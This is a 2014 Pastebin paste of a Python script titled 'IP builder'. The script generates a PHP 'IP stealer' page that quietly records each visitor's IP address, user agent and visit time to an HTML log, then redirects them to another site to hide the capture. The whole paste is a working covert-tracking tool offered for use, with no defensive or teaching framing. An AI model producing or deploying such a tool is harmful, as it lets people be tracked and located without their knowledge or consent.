Advertisement
mgostih

IP builder

Jan 17th, 2014
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.46 KB | None | 0 0
  1. from urllib.request import urlopen
  2. def buildIP():
  3.     print("""
  4. Hi, this is a php Ip stealer's builder!
  5. You can build here an efficient IP stealer with a few commands.
  6. Once the building process is done, you'll find the .php stealer
  7. in this directory.   Let's Start!
  8. """)
  9.     phpfile = input("Insert the name of the IP stealer (Without .php at the end): ")
  10.     logs = input("Insert the name of the .htm file where IPs are stored (Without .htm at the end): ")
  11.     location = input("Insert the URL of site redirectering (Default http://www.google.com): ")
  12.     print("Building...")
  13.     try:
  14.         slocation = urlopen(location)
  15.         print("The redirectering URL (",location,") worked")
  16.     except Exception as e:
  17.         location = "http://www.google.com"
  18.         print("Setting to http://www.google.com the redirectering.")
  19.         print(e)
  20.     phpfile = phpfile + ".php"
  21.     logs = logs + ".html"
  22.     file = open(phpfile , "w+")
  23.     file.write("""
  24. <?php
  25. header("Location: """ + location + """ ");
  26. $data=time();
  27. $data=date('Y-m-d H:i:s', $data);
  28. $agent = $_SERVER['HTTP_USER_AGENT'];
  29. $ip = getenv ('REMOTE_ADDR');
  30. $fp = fopen('""" + logs + """', 'a+');
  31. fwrite($fp, '<html>');
  32. fwrite($fp, 'Time of access: ' .$data. '<br>');
  33. fwrite($fp, 'IP: ' .$ip. '   ');
  34. fwrite($fp, 'User agent: ' .$agent. ' ');
  35. fwrite($fp, '<br><br>' );
  36. fwrite($fp, '</html>');
  37. fclose($fp);
  38. ?>
  39. """)
  40.     file.close()
  41.     print("Building done! See you later.")
  42. buildIP()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement